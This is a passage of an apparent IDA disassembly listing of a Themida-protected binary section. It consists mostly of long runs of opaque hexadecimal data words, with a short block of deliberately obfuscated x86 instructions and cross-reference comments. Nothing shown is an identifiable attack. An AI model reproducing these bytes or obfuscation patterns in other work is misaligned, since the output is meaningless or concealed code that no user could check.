0AA631025h, 3EBC1808h, 0BA575AD6h, 0C11F295Fh, 51676115h dd 0D03693Bh, 22406168h, 0EE173286h, 455B25CEh, 0BCD6285Bh dd 6A9129CFh, 94D85A63h, 8F4E7C10h, 5F3C7ED3h, 4C2125CEh dd 0AE52643Bh, 957A16A6h, 2A4D30FEh, 2021A5Bh, 926D3CB3h dd 6661362h, 0BD16750Ah, 8D8D29B7h, 61C1F8Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 3BC35040h, 4965D0C9h dd 1DA1858Bh, 81660614h, 890BAFC3h, 1432298Dh, 21858B06h dd 0E906142Fh, 8, 0E0D912BEh, 0B4C7A74Bh, 64D85C7h, 6E080614h dd 0DF810000h, 65394F18h, 267185C7h, 614h, 870F0000h, 5 dd 0DBBF0F60h, 91B5FF61h, 8B06142Eh, 141C2595h, 6195FF06h dd 0E8061423h, 0Eh, 0EC3BF1C4h, 9C7B1918h, 0F6B5DEBBh dd 13E96376h, 0B7000000h, 21FD57BAh, 5D3A03C1h, 0F8AF6168h dd 402ABE9Bh, 6A5F78F4h, 6995FF00h, 8B061411h, 130BEBC0h dd 0EF2F45D5h, 0CDEE79FFh, 8D8D755Fh, 61C209Fh, 1D218D89h dd 8D890614h, 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0FFC35242h, 5000BE51h, 67039C63h, 4D85C7A7h dd 84061406h, 6A000058h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0B804C351h, 16558D09h dd 85C70614h, 6142671h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BBC35545h dd 4FA64F72h, 6F7B428Ah, 0C4DB5FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 27665CC3h dd 6F2A470Bh, 880F6053h, 5, 0F9C28166h, 0AAC88175h, 613CC76Dh dd 236195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 50DD1BC3h, 8FD05366h, 6AAEB82Dh dd 6995FF00h db 11h, 14h word_5CAC7E dw 8B06h ; DATA XREF: Themida_:0054A234o ; Themida_:0054A900o dd 0CC4AEBC0h, 0FDE3F1FCh, 749BFE55h, 5793B41Ah, 4D796C5Ch dd 867437FFh, 0E3F2FE1Ah, 185F7AB4h, 0FC7FA312h, 5C22EBAh dd 3A4880Eh, 87DE3D2Fh, 4E7A5DACh, 4293718Eh, 0C83402EAh dd 1AE5B0B5h, 933DA21Bh, 0D394EE0Eh, 0D6CC0D2Fh, 11E9CCh dd 0CA3D0000h, 272h, 2 dup(0) dd 0E9000000h, 58Eh, 0ACFEC11Bh, 67B904CFh, 2173488Ah dd 0D6289144h, 8DDFDEF9h, 8B4C6454h, 0CE03E032h, 1CBC99EBh dd 627451A3h, 73FB0759h, 0E09876Dh, 39A09B58h, 4BF7C412h dd 0DC24993Eh, 6EA89305h, 1E4D5055h, 66A5310Eh, 0F2977A60h dd 26B18E51h, 0FB93EB97h, 0D8AFB763h, 0A57F6DA6h, 0C1CCFB73h dd 0EDFAA615h, 0B52BD7E6h, 0F606D09Dh, 3F9C7447h, 0F827BFFDh dd 8650E4A6h, 0D206E335h, 0FBD8A5EDh, 0EC641D03h, 0CC6459C4h dd 28B08D9Dh, 0F3DEEB97h, 0FF36C411h, 5BFF74CEh, 546B17AFh dd 0FAEAD939h, 66FE968Fh, 6A50561Eh, 7E51F245h, 68BD2756h dd 687084C6h, 0AE280557h, 0F7FDC50Dh, 51F24511h, 64CEFD25h dd 0F2453B1Eh, 0E7A3B751h, 0ED9479ECh, 6185FEh, 179C0000h dd 913CF040h, 5483B565h, 822E8D49h, 0F254583Ch, 80C2D651h dd 0ED855A0Bh, 1A4FEh, 12BB0000h, 4350FCC1h, 74812D90h dd 9FAC5861h, 0D1D98538h, 0F1E7E5CBh, 84D1F951h, 0A9BF6B54h dd 2EE4C585h, 72FF3F16h, 1E754690h, 6190A270h, 1AB9730Fh dd 627451A3h, 8E441159h, 0C6F7E02Dh, 12CE8797h, 444CF8C5h dd 6B3D806Dh, 4FA75366h, 59D259F8h, 9B41F2Ah, 0CB87EB5Dh dd 0CF17A631h, 3DE9D602h, 0C9A6B6E5h, 8F66AE0Dh, 37AF4C76h dd 0D43E6DADh, 4B00BC7h, 33DFDAF7h, 555BB026h, 51F21C6Fh dd 17C35B83h, 5E43FFE3h, 0DFF4C197h, 3D5DAFDEh, 0EDBBCFA6h dd 874FFEh, 12660000h, 3F4CF8C5h, 9E02893h, 3BD65C3Bh dd 1E88B708h, 0EE0644A8h, 0BF8CD4E9h, 6676A518h, 0C36F4E89h dd 0EE9A1FB6h, 1AC6F5E1h, 4AF6C50Dh, 6F721034h, 35C486A8h dd 0A04C6D68h, 0C8AD1948h, 56FEED18h, 62h, 7E3774Eh, 0F811A802h dd 0C512E2C9h, 993F4CF8h, 666D7A26h, 399EAB57h, 5EA03784h dd 0A388E7BBh, 0BF6B0310h, 439926B2h, 0A7E631Fh, 0FED56426h dd 0DB51CEB0h, 7A43901Bh, 0AFDE76CEh, 388A33A4h, 0FCC1127Fh dd 0E8270A50h, 8FA351F1h, 0F18DD8F3h, 0B71FEEDh, 69000000h dd 0F3B59BA1h, 0A1C951F1h, 0C0128B72h, 0E5EBB3FBh, 51F1E7FFh dd 0C7734C8Ch, 5281A96Fh, 0C0FBDBE8h, 2CCE0714h, 1B4632E5h dd 731FB74Fh, 9E4A6F66h, 0E5C4866Ah, 0A82DFA50h, 0F290E211h dd 5764723Fh, 6B51D28h, 0D6E5F1BEh, 93A3D22Ah, 5DA549B7h dd 0DB7A0686h, 114070A0h, 0D2EE050Bh, 8C6457E5h, 6D2A086h dd 0F48CB458h, 209B3B48h, 0D6E5F1CEh, 0D300E42Ah, 7E625806h dd 0DAE28DCh, 11F7FDC5h, 255806D3h, 0E6BECEFDh, 8D4BBF19h dd 962E8632h, 8C7A5C67h, 6EC6724Bh, 0D33A2026h, 264E5806h dd 5879468Eh, 0FEBF1461h, 7E5865CFh, 4E84913Dh, 23B4C16Dh dd 0F1E1EE9Ah, 10C61ECAh, 590BEEACh, 0DCA455F5h, 6D2F0D6h dd 8FDC0458h, 75CD7944h, 209B3B46h, 0AE29F6CEh, 0F174E00Fh dd 0DF8D906h, 12Dh, 0F9A51324h, 0B882DAB1h, 0B4A5ED5Fh dd 1D4C1F9Bh, 0F625BDD9h, 0B5B3EAF0h, 416957E5h, 15C08D95h dd 71A0F8A4h, 34B7066h, 0EF1E9B36h, 973A07DFh, 0EF1E7622h dd 1DC9F2E4h, 61474D15h, 755806B6h, 0E9D2004Dh, 9427AFBAh dd 701276E8h, 4FA11ABCh, 0D9235411h, 3CAAF8h, 13C10000h dd 0E3B0F8A6h, 9399C8F3h, 0E6D3FECBh, 6FB3E23Ah, 0D1F1E7A9h dd 360D557Dh, 116D01F4h, 0F6608FF3h, 0F193CAB0h, 682A4ED1h dd 72BA68D5h, 0F194A66Ch, 527A51h, 9822h, 0A5137900h, 0F0ABB1F9h dd 1C57E510h, 8C38834Fh, 0A9810534h, 5F0BDA3h, 0F3F9D158h dd 5805F10Dh, 0C961F921h, 474D151Dh, 5805F161h, 7F409875h dd 7E3B9AE7h, 2992444Fh, 0DFDCFAD7h, 0E3C9CF97h, 705805F0h dd 54AC5861h, 0CD37668Eh, 5F1A687h, 0EAD2958h, 1A954B62h dd 9E59974h, 0F7A31CBCh, 5F4200A2h, 0B14B07EBh, 68449625h dd 80E56FAh, 5E018633h, 0E8B5FD25h, 39A3D2EBh, 6511AA2Ch dd 1D2C6E10h, 0AA2FC946h, 38674E4Bh, 0C810C02Eh, 1D31EDC2h dd 65B7DF64h, 0F9A513ACh, 8D6ABB1h, 0A0C857EDh, 17EFE7F4h dd 0F74FFBBEh, 0A6300D5Fh, 0B6C8FD56h, 6E0657AAh, 91785926h dd 0E9EA58Bh, 0F991B958h, 5CC6F54Dh, 3BAC4316h, 0BDDD415Ah dd 2578B58Ch, 0D46CD4F9h, 7F3C9AA5h, 8086502Dh, 0B6BE6A53h dd 7D5ACAB0h, 1EB6DE5Ch, 8CDDA86h, 9BA169B1h, 5C7D5AB5h dd 0D0E9ECC9h, 929F0938h, 0BECB7744h, 0F4FCA815h, 7D5B08EEh dd 9EF41C5Ch, 2329D87Ah, 5C7D5B3Dh, 0FC912951h, 3C09385Ah dd 0E9F4239Ch, 0A47CCEEDh, 5AF0D6DCh, 0DC045C7Dh, 8734A2ADh dd 3CDDBh, 0E4240000h, 0F5CA127Dh, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h, 0B76833B8h, 89000062h, 0E589242Ch, 4C581h dd 0ED830000h, 242C8704h, 0E289525Ch, 4C281h, 0EA810000h dd 4, 5C241487h, 68241489h, 0AAh, 53241C89h, 9B624468h dd 0EB815B13h, 0D7F413Bh, 545B5A53h, 81241C8Bh, 4C4h, 458D6800h dd 14890000h, 8438F24h, 50241C8Bh, 405E089h, 5000000h dd 4, 5C240487h, 5624148Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0FFF8578Bh, 0FB8EE8Ch, 3061C26h, 0F8E0FFC5h, 0B242A1B1h dd 85269193h, 0EF32F88Ah, 75583047h, 0E42270D3h, 31738D9Ch dd 8111E954h, 8B13C8ADh, 0DE3E3E97h, 524E324h, 8D5AC716h dd 1C27B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8A84916Ah, 5BB866E7h, 298D894Ah dd 6A061432h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 4587C352h, 13ADEE19h, 858BEC28h dd 6142C41h, 64D85C7h, 62100614h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 9035E2C3h dd 85C71956h, 6142671h, 0 dd 7E8h, 0A7B08700h, 633D792h, 2179B589h, 0FF5B0614h, 1414ADB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E90E2E4Eh, 0Eh, 74315BBh, 19BCCD4Dh, 0AD99E0D7h dd 95FF65C4h, 6142361h, 2B5B589h, 6A0614h, 116995FFh, 0C08B0614h dd 0C31A7CEBh, 10909F53h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h dd 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh, 0D162FF12h dd 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h, 0BFFF05FDh dd 0E17FFE51h, 0A4A2C0E6h, 299FA25Dh, 6B48032Fh, 0AE3DBFBBh dd 6DA2ABB2h, 0F032F306h, 55D9A1C3h, 77C908F2h, 0DA37E577h dd 516A38DBh, 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh, 99066372h dd 98EB699Bh, 12E8AA00h, 18000000h, 0A36B90E0h, 8653FC66h dd 9E0B003Fh, 440664EEh, 0F18B668Ah, 0ED3BBF5Ah, 0C2817F3Ch dd 655Fh, 2F1B58Bh, 14B90614h, 0E9000019h, 0Fh, 7821A297h dd 0D38CD15Bh, 963DB767h, 0FF8D640Bh, 0B58B5B32h, 614319Dh dd 63F2F381h, 0CE936BFh, 67000000h, 0FD80986Bh, 0FD7C39E4h dd 8122BA08h, 0A3925DC3h, 68B0F3Bh, 0F000000h, 8Bh, 10EB8100h dd 6637C820h, 2B21EE81h, 0EE953h, 0BC760000h, 0FB0D2C78h dd 41CB3B16h, 6E5D3874h, 0BD8B028Fh, 6142115h, 620DEA81h dd 11E82B4Ah, 33000000h, 6EB311F5h, 4A517371h, 3F815DBDh dd 327D2095h, 12E9BD8Bh, 81580614h, 4A6209C2h, 5E92Bh dd 7FAE0000h, 81C568D1h, 1E9h, 1C850F00h, 66000000h, 33E9FA8Bh dd 0F5000000h, 969871C5h, 990151B8h, 259D519Ch, 26D266Bh dd 89229A4Dh, 1408C59Dh, 0FF41E906h, 0CE56FFFFh, 9F797EA1h dd 0B2A57066h, 6B632D90h, 9C219E94h, 21E9A199h, 0EA000000h dd 4DE284h, 7 dup(0) dd 57AE9h, 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h dd 506D6A47h, 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh dd 6C78CAF1h, 10F8DEE4h, 110C580Eh, 894A17AAh, 0E7987E84h dd 84AC51F1h, 84379FECh, 2F8C4A55h, 5C617683h, 0CF5B320Ah dd 0D8C8AE0Eh, 47ABEA99h, 0EC841F2Ch, 0DA760795h, 0FA296089h dd 28D4E7EFh, 5400BB1Bh, 85318C47h, 55EFAB0Fh, 0BE83A81h dd 0C3A0F2CDh, 0F6FEAA15h, 7573AC1Fh, 91EAECF7h, 9CDA3186h dd 8CF1C22h, 567B86B5h, 0C062B763h, 516E6A82h, 219A3C09h dd 0D105E2F2h, 15F83EEAh, 9151F2AAh, 15FB01C9h, 2951F2AAh dd 40E0AA01h, 12BEB641h, 0DAF191E3h, 0FEED908Bh, 7873h dd 0C4128A00h, 21054BF7h, 0AA51F1E8h, 0D8E5912Eh, 16C2FBh dd 0E33BBEDCh, 82874E1Bh, 0F1E7967Ch, 0EA82AA51h, 19A0313Eh dd 1BA43481h, 0E3F89AECh, 0FEEDF182h, 17Ch, 0C1129300h dd 904350FCh, 0AC79812Dh, 91E99526h, 3B7E5762h, 3401198Fh dd 156D19A2h, 0E7E1C7CDh, 0CDF551F1h, 0F60E4C9Eh, 12AD2BDDh dd 8350287Ah, 0B451AA54h, 0A7A37BB2h, 0DC0B630Fh, 64B605D1h dd 0F8C512ABh, 0B5DCD9B0h, 0B81D289Dh, 0C1121F89h, 8E4350FCh dd 65727F2Bh, 0D63AAC58h, 645580B4h, 16C860B8h, 7B5C90B2h dd 0C313F042h, 933F4CF8h, 0D3F57C28h, 1B591CB7h, 0AFC5FEEDh dd 0DC000000h, 2F8C4A17h, 0FADE2B83h, 4C8B96C5h, 1AB8C571h dd 0C4EFE7E2h, 4C858AEAh, 0D169C16Dh, 2329F139h, 51F23E3Dh dd 90FA2951h, 0B4BA5583h, 51F23DCEh, 7622BAE2h, 0A5516869h dd 0ECCD8D71h, 7CB0D236h, 3810625Bh, 204F6A6Bh, 4FFBC215h dd 5E5B7A47h, 49F5C411h, 1EB7C2F1h, 4668EF9Bh, 99E68F04h dd 6838FEEDh, 30000000h, 1D4C6F63h, 48C51236h, 0B864577Bh dd 0E7F4DA60h, 0E00851F1h, 0BD949C48h, 0C2C88428h, 51F242DCh dd 0E171C8F0h, 7177BF30h, 51F2B68Bh, 3D48779Fh, 54676F9Bh dd 0B720060Ch, 0C3451F2h, 0B094C874h, 407D5A92h, 0C11235EEh dd 932B8E47h, 0E7BEA1E7h, 723A51F1h, 0E38F2EA5h, 480A5C8Bh dd 0EDF21253h, 1ECFEh, 12030000h, 424FFBC0h, 0B4406894h dd 0CC7B3C21h, 91338834h, 727840F1h, 51F29C8Ch, 9D32181Eh dd 1E4651F2h, 65587B58h, 655680CDh, 5FA72B36h, 5AAC4477h dd 1860107Eh, 7C828D4Bh, 51F29C96h, 3EEA82AAh, 0ABB1B7E6h dd 57E5B794h, 2E36E20Ah, 99457461h, 0D9E2F441h, 9BA6D52Dh dd 512E803Bh, 21EE3685h, 35B07B6h, 40246AD4h, 0A25806B8h dd 6E689CBEh, 5623FB4Dh, 79903C81h, 0B9B9A138h, 305FF76Ch dd 8D5AB125h, 73CB7746h, 6B407EDh, 3D431B58h, 5806B457h dd 13AB436Bh, 3F7C5A67h, 9DBD2193h, 0FA4C6F67h, 6E545A22h dd 825806B4h, 0A6BF2B5Ah, 58F8D925h, 14Ch, 44A5136Fh, 29812D8Eh dd 0C434991h, 0C257E50Eh, 19E6EE9Ah, 0C8D302B9h, 8E65AD0Eh dd 0D9ED7534h, 8898C72Eh, 15D12BABh, 5EC3D4DCh, 0AC83CB63h dd 7C7D3E9Ch, 0AB15445Fh, 9CE389Eh, 0FE701CB4h, 9244F89Ah dd 0CC99D729h, 32F8D9D5h, 66h, 43A61349h, 707D2994h, 29C15962h dd 854C19E1h, 0FBC10534h, 0CFD1F1E7h, 0F8885FA7h, 8B32318h dd 0A1AD045Ch, 66D0FFE0h, 0F2683A20h, 0F89ABED1h, 0B15A7C49h dd 0F267C5ABh, 19B1D9D1h, 0DC8156Dh, 79A800ACh, 0A6AC026Fh dd 0D1F267C0h, 0CC14ACD4h, 0F26800C6h, 0F6FCD451h, 51F26810h dd 1264FC24h, 9734h, 0A5138B00h, 0F0ABB1F9h, 1C57E510h dd 0C7F22A45h, 3683DA2Dh, 69ED1CA1h, 2B31F941h, 58067D45h dd 957B8159h, 0A958067Ch, 50BAE981h, 0D6289343h, 32DEDDF9h dd 67E0BECh, 0C7836758h, 7E646A32h, 9258067Eh, 0A6303B6Ah dd 0D100CD15h, 83369BE8h, 0A46C4454h, 67DB89Eh, 75A4CC58h dd 951FD6Bh, 0F726973Ch, 0C6B5EBF1h, 41695E01h, 15C08D95h dd 71A0F8A4h, 9F4B7066h, 53EAA84Ah, 0EBF139E5h, 641DEFB5h dd 734110E7h, 94BE74A2h, 67B9E165h, 0A714C28Fh, 8D74A3FBh dd 0B1F9A513h, 0ED3075ABh, 0FCDAA757h, 0BDC52400h, 42DAA646h dd 8B0F3E96h, 0F3E325AEh, 2C8430C8h, 0FBDBE894h, 27AB78C0h dd 6190E894h, 26AC7951h, 2E8F4895h, 0D9E2F4FFh, 0F61EE72Dh dd 94F823AAh, 23983EF6h, 29E2F4D1h, 0D6755B61h, 6189A40Ch dd 0CD5F5DBh, 99E109A4h, 0CD5AD93h, 199C1A4h, 58804D55h dd 0A82D3867h, 6E106511h, 0FDBE182Ch, 0B308CEABh, 3F907h dd 0E4500000h, 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h dd 895133B8h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch dd 81E18951h, 4C1h, 4E98300h, 5C240C87h db 89h, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, 5ECA73D4h sub ebp, 268F78ABh sub ebp, 321ED1AFh mov ecx, ebp pop ebp push esp mov edi, [esp] add esp, 4 push 15F3h mov [esp], ecx pop dword ptr [edi+8] mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5509FF ; --------------------------------------------------------------------------- dw 0B829h dd 61C2E6Bh, 0E0FFC503h, 36D8DC72h, 3B342C63h, 42458406h dd 71C01299h, 3E47FF9Bh, 129B4369h, 4CCB3FEBh, 3AD58298h dd 67EC0100h, 5E9293AAh, 1B2916E1h, 58E297ABh, 2318F1ABh dd 189BFE5h, 20DB2BE3h, 10B35351h, 10EBh, 3 dup(0) dd 0C08B0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0B5C35242h, 0F9EF1B1h, 687h, 5950100h, 8306142Bh dd 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h, 8B535019h dd 42DB8C0h, 85890000h, 6141A49h, 0B73A9D8Dh, 0D3FF0616h dd 0BD83585Bh, 6141AE1h, 50177400h, 42DB853h, 85890000h dd 6141A49h, 0B4299D8Dh, 0D3FF0616h, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D2974C3h dd 6140791h, 1BED958Bh, 0C08B0614h, 0E5B58BF9h, 8B061422h dd 1401B98Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 0ACCC43ACh, 0A975BA66h, 7DB50360h dd 0F061421h, 48Dh, 0BCBA6600h, 0F9836104h, 69840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 35ABC352h, 25298D01h, 8B640614h dd 2C3Dh, 5850F00h, 0BA000000h, 6A3F0B6Fh, 0FF0BF78Bh dd 2A840Fh, 0F560000h, 685h, 0A19D2900h, 5E06140Ch, 85313F8Bh dd 61425BDh, 0DF2CBE66h, 950BC032h, 6140869h, 0B509AAF3h dd 614321Dh, 50414935h, 85B53353h, 0C6061434h, 141A5985h dd 958B4706h, 61402F1h, 295F168h, 240481A4h, 38D3F23Bh dd 0B5FFD08Ah, 6141AD1h, 14E960h, 0A3E30000h, 0FD6C201Eh dd 5FAF1EB8h, 1CA7BA27h, 0C4FFA4F4h, 8D61B42Fh, 1780DB85h dd 25BD2906h, 0FF061432h, 0AFDE81D0h, 891FD409h, 140C9185h dd 15B58906h, 0C6061424h, 141A5985h, 958B5306h, 61421B1h dd 7192B468h, 0FE927h, 791E0000h, 0A8C983FFh, 730F2D04h dd 7BD81417h, 2404810Dh, 6126D848h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 73C35040h, 4A9630Bh, 0FFD375DCh dd 141AD1B5h, 0D38B6606h, 80DB858Dh, 8D890617h, 6142369h dd 0BA66D0FFh, 0F6070D6h, 8D8BFAB7h, 6142431h, 6858D61h dd 8B06173Eh, 258589D6h, 89061435h, 142B3D9Dh, 0DEE68006h dd 0FF6A206Ah, 352595FFh, 49350614h, 0C7535041h, 1403D985h dd 106h, 0FD85C700h, 61429h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0C552C355h dd 764AD0A8h, 8589534Fh, 6140061h, 0C995235Ah, 0F9061421h dd 1CB1858Bh, 0F08B0614h, 0A364h, 83F50000h, 142309BDh dd 840F0006h, 5Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0EFC35242h, 7131B470h, 9600D42Ch, 66F28166h dd 13830F3Eh, 0E8000000h, 7, 1BF4111Ch, 89B0D5F4h, 14223D85h dd 858B5E06h, 6142189h, 68F0Fh, 95330000h, 6142AF1h, 958BE08Bh dd 6140FEDh, 3DBD83h, 0F000614h, 46F85h, 38E0F00h, 66000000h dd 85C6F08Bh, 6141A59h, 53006A56h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0C0E02817h, 513411DCh dd 0E8D68B66h, 4, 0A9C530DFh, 6E9h, 716EB300h, 504A5173h dd 14E9h, 47D16400h, 5F4A2B40h, 0DB7AF828h, 75DD9E18h dd 85BCF94Ah, 24448B89h, 0DDBA6604h, 0F008B79h, 1288h dd 0AE85600h, 29000000h, 0B1EE9535h, 61C56554h, 895A5EE2h dd 66042444h, 5821BEBEh, 1AD1B5FFh, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 6AB16CC3h dd 858D4C00h, 61780DBh, 8E0F53h, 5E000000h, 7E9D0FFh, 39000000h dd 2B7DFB62h, 50900671h, 66525060h, 310FF18Bh, 9061585Ah dd 1D618531h, 8D8D0614h, 6140095h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0AAC35545h, 15C68166h, 0BE6650E4h dd 0C898DD0h, 52006A24h db 0E8h, 3 word_5CBF6A dw 0 ; DATA XREF: Themida_:005497DCo ; Themida_:00549AC0o ... dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8589F588h, 6142E61h, 30DAFDBEh, 6A046A5Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F72C356h, 380h, 0D1BF0F00h, 0BE9h, 0DD975B00h, 0DC119474h dd 0E641CDF0h, 0C47AED68h, 8B6651F0h, 4815ED3h, 3B951324h dd 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 51D39635h, 0E9F0492Ah, 9, 9C6AD33h, 1DD51B43h dd 0F9B5FFF0h, 6A061424h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0CCF6C357h, 0D0FFC411h dd 1A31BD89h, 0BD8B0614h, 61424F9h, 0B58B5150h, 6141DADh dd 7F035E5Eh, 39BD893Ch, 81061405h, 0F8C7h, 79B58B00h dd 0C7061414h, 202447h, 5E506000h, 2F3FBD83h, 0F00061Ch dd 16E84h, 0AE800h, 0F3F50000h, 4670AEBh, 62880C82h, 0BE8h dd 7F53A300h, 1B4CEA2Ch, 47AEF8ECh, 5A5E6160h, 6028C783h dd 0BC99589h, 10E80614h, 0ED000000h, 0F4C2B7B6h, 55C5D1F2h dd 78EC9BD6h, 0F21B27Ch, 615FF2B7h, 6A2E07C7h, 6A6469h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0DF3B7AC3h, 0BE66DDA1h, 47C735D8h, 61746104h, 858BF500h dd 61C2F47h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 8CC35545h, 89F8C030h, 958B0C47h, 61410D5h, 2F4B858Bh dd 4789061Ch, 0C99D8908h, 83061414h, 0BA5728C7h, 61EC3FDBh dd 2E07C75Eh, 6A6E6F63h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 8BA3C353h, 0F6816680h dd 47C7BC15h, 67696604h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 8A3B2716h, 0F63C3566h dd 8166162Fh, 33E346CEh, 14151DB5h, 43858B06h, 89061C2Fh dd 140A099Dh, 0F1858906h, 8906142Ah, 0BE660C47h, 858B0392h dd 61C2F3Fh, 0DE9h, 5A60AB00h, 0CDFB0EFh, 8D88BDD7h, 47897B30h dd 0E9606008h, 0Bh, 88D4749Dh, 5D5B743Ah, 89D093DFh, 140D5DBDh dd 58616106h, 5E8h, 3D768800h, 9D898D1Fh, 6140BFDh, 658D8D5Ah dd 33061426h, 141AA9B5h, 0BE669106h, 0BA509DA2h, 22CC728Eh dd 0BD952B91h, 60061425h, 1D9D2950h, 5F061408h, 0B5FF61FCh dd 6140095h, 12E9h, 0D95CD200h, 1FF2827Ah, 0C463B828h dd 0F9F7E443h, 68C58D67h, 946CAA3Bh, 481F48Ah, 9365C524h dd 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C32F6977h, 0E5973316h, 81666617h, 0FF0771EEh dd 1424F9B5h, 9830F06h, 60000000h, 38437EBEh, 6159513Dh dd 1031958Bh, 0D0FF0614h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 48C35040h, 0E9C18147h, 0Eh, 8766BC04h dd 0CB913BE4h, 0A59EF037h, 0BD89C1D0h, 6142E79h, 0B8h dd 0DE816600h, 5660570Eh, 15958Bh, 895E0614h, 1430AD8Dh dd 0C00B6106h, 4C840Fh, 958B0000h, 61424F5h, 71FFDA81h dd 0B5FF14CEh, 6140299h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 7FC35646h, 137621Dh, 0FDB52960h, 1061410h dd 142B81BDh, 95FF6106h, 6142361h, 2D1B58Bh, 0C08B0614h dd 2820Fh, 0ECB60000h, 30B1BD83h, 75000614h, 0E1BD8309h dd 6141Ah, 53501974h, 2DB8C08Bh, 89000004h, 1430C185h dd 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh, 17740006h dd 2DB85350h, 89000004h, 1430C185h, 429D8D06h, 0FF0616B4h dd 0F585BD3h, 283h, 0BAF28B00h, 316772C0h, 12797DBAh, 6AC08B27h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0C9D5C355h, 6B26C1FAh, 0E9845BEh, 0AD952B61h dd 8B06140Bh, 0BC8D8DC0h, 66061C38h, 54B8C38Bh, 89295507h dd 1432298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0B5DB1D2Eh, 8B66F261h, 4D85C7D0h dd 0E8061406h, 6A000072h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0A828C350h, 0BFCE8166h dd 7185C71Ah, 61426h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 47D6C351h, 8B52AFB2h dd 0B5FF5AFEh, 61406A5h, 95FF9DB2h, 6142361h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EC35040h, 9EE75DB3h dd 52152892h, 0C49958Bh, 858B0614h, 61405D9h, 95FF006Ah dd 6141169h, 1EEBC08Bh, 0D097786Dh, 7E19B5A3h, 0BC0B4EA1h dd 0BF8E74BFh, 54C95716h, 0FB315E7Dh, 0ADB47C7Ah, 8D8DD9B1h dd 61C39E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 41C35545h, 8D89E901h, 6143229h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1EC35343h, 0C151AB7h dd 85895985h, 6141BC9h, 64D85C7h, 5CEC0614h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0C70A27C3h, 14267185h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0FA52A1DAh dd 0ED958B50h, 5F061400h, 2319B5FFh, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 